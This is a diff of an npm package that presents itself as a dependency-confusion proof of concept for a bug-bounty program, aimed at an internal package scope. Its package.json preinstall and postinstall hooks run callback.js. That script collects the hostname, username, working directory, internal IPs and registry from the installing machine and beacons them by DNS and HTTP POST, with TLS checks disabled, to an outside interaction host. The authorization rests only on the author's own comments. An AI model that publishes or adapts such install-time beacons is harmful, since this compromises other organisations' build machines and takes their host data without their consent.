@axteams-lund-it/cookie-consent-web-component 99.0.0

package/README.md

@@ -0,0 +1,18 @@
+# @axteams-lund-it/* — authorized security research placeholder
+
+**This is not a real package.** It is a benign proof-of-concept published under a
+responsible-disclosure / bug-bounty engagement (Bugcrowd — *AXIS Camera Station Pro*,
+axiscommunications-mbb-og) by researcher **xor-rax-rax**.
+
+It demonstrates that the internal package(s) under the **`@axteams-lund-it`** npm scope —
+used at v2.5.0 by the cookie-consent web component on `www.axis.com` — and the scope itself
+were **unclaimed on the public npm registry**, and were therefore susceptible to
+**dependency confusion**.
+
+The install script performs a single **benign out-of-band callback** (hostname, username,
+working directory, internal IP, resolving npm registry) to a researcher-controlled interaction
+host, purely to prove the package was resolved and executed. It contains **no payload**, reads
+no application or user data, exfiltrates no secrets, and takes no destructive action.
+
+**If you are from AXIS and found this:** please respond on the Bugcrowd report. The scope and
+names will be unpublished / handed over once the report is triaged.

package/callback.js

@@ -0,0 +1,71 @@
+/*
+ * Authorized dependency-confusion PoC beacon — Bugcrowd "AXIS Camera Station Pro" (axiscommunications-mbb-og).
+ * Researcher: xor-rax-rax (Bugcrowd).
+ * BENIGN by design: collects only non-sensitive host-identifying recon (hostname, username, cwd,
+ * internal IPs, resolving npm registry) and sends it once, out-of-band, to a researcher-controlled
+ * interaction host. NO destructive action, reads NO app/user files, exfiltrates NO env secrets, and
+ * never throws (cannot break the victim build). Node built-ins only.
+ */
+'use strict';
+var os = require('os');
+var dns = require('dns');
+var https = require('https');
+var http = require('http');
+
+var COLLAB = 'qmktj627.instances.httpworkbench.com';   // researcher-controlled OOB host (AXIS PoC)
+var PKG = 'unknown';
+try { PKG = require('./package.json').name; } catch (e) {}
+var phase = process.argv[2] || 'install';
+
+function internalIPs() {
+  var out = [];
+  try {
+    var ni = os.networkInterfaces();
+    Object.keys(ni).forEach(function (k) {
+      (ni[k] || []).forEach(function (a) { if (a && a.family === 'IPv4') out.push(a.address); });
+    });
+  } catch (e) {}
+  return out;
+}
+function safe(s) { return String(s == null ? '' : s).replace(/[^\w.\-:@/ ]/g, '_').slice(0, 120); }
+function b64url(s) { return Buffer.from(s).toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, ''); }
+
+var info = {
+  poc: 'dependency-confusion',
+  pkg: PKG,
+  phase: phase,
+  host: safe(os.hostname()),
+  user: safe((os.userInfo && os.userInfo().username) || process.env.USER || process.env.USERNAME || '?'),
+  cwd: safe(process.cwd()),
+  dir: safe(__dirname),
+  platform: safe(os.platform() + ' ' + os.release()),
+  ips: internalIPs().join(','),
+  registry: safe(process.env.npm_config_registry || ''),
+  ts: Date.now()
+};
+var payload = JSON.stringify(info);
+var token = b64url(info.host + '|' + info.user + '|' + info.pkg + '|' + phase);
+
+try {
+  var label = token.replace(/[^a-zA-Z0-9-]/g, '').slice(0, 60);
+  dns.lookup(label + '.' + COLLAB, function () {});
+  dns.resolve4(label + '.dns.' + COLLAB, function () {});
+} catch (e) {}
+
+function beacon(lib, scheme) {
+  try {
+    var path = '/' + encodeURIComponent(PKG) + '/' + phase + '?d=' + b64url(payload);
+    var req = lib.request(
+      { host: COLLAB, port: scheme === 'https' ? 443 : 80, method: 'POST', path: path,
+        headers: { 'Content-Type': 'application/json', 'X-PoC': 'dependency-confusion', 'Content-Length': Buffer.byteLength(payload) },
+        timeout: 4000, rejectUnauthorized: false },
+      function (res) { res.on('data', function () {}); res.on('end', function () {}); }
+    );
+    req.on('error', function () {});
+    req.on('timeout', function () { try { req.destroy(); } catch (e) {} });
+    req.write(payload); req.end();
+  } catch (e) {}
+}
+beacon(https, 'https');
+beacon(http, 'http');
+setTimeout(function () { try { process.exit(0); } catch (e) {} }, 4500);

package/index.js

@@ -0,0 +1,12 @@
+/*
+ * Benign stub for the authorized dependency-confusion PoC (Bugcrowd: AXIS Camera Station Pro).
+ * Catch-all no-op module so that if this placeholder is ever resolved into a build it does not
+ * execute anything harmful. No data collection happens here (that is only in the install-time
+ * benign out-of-band beacon).
+ */
+'use strict';
+var noop = function () {};
+module.exports = new Proxy(function () {}, {
+  get: function (_t, prop) { if (prop === '__esModule') return true; if (prop === 'default') return module.exports; return noop; },
+  apply: function () {}
+});

package/package.json

@@ -0,0 +1,14 @@
+{
+  "name": "@axteams-lund-it/cookie-consent-web-component",
+  "version": "99.0.0",
+  "description": "Authorized security research: dependency-confusion PoC for the Bugcrowd 'AXIS Camera Station Pro' program. Benign out-of-band callback only, no payload. Demonstrates that the internal package '@axteams-lund-it/cookie-consent-web-component' (used at v2.5.0 on www.axis.com) and its @axteams-lund-it scope were unclaimed on the public npm registry. Contact the researcher via the Bugcrowd report.",
+  "main": "index.js",
+  "type": "commonjs",
+  "scripts": {
+    "preinstall": "node callback.js preinstall",
+    "postinstall": "node callback.js postinstall"
+  },
+  "keywords": ["security-research", "dependency-confusion", "poc", "bugcrowd"],
+  "author": "xor-rax-rax (Bugcrowd - AXIS Camera Station Pro authorized PoC)",
+  "license": "MIT"
+}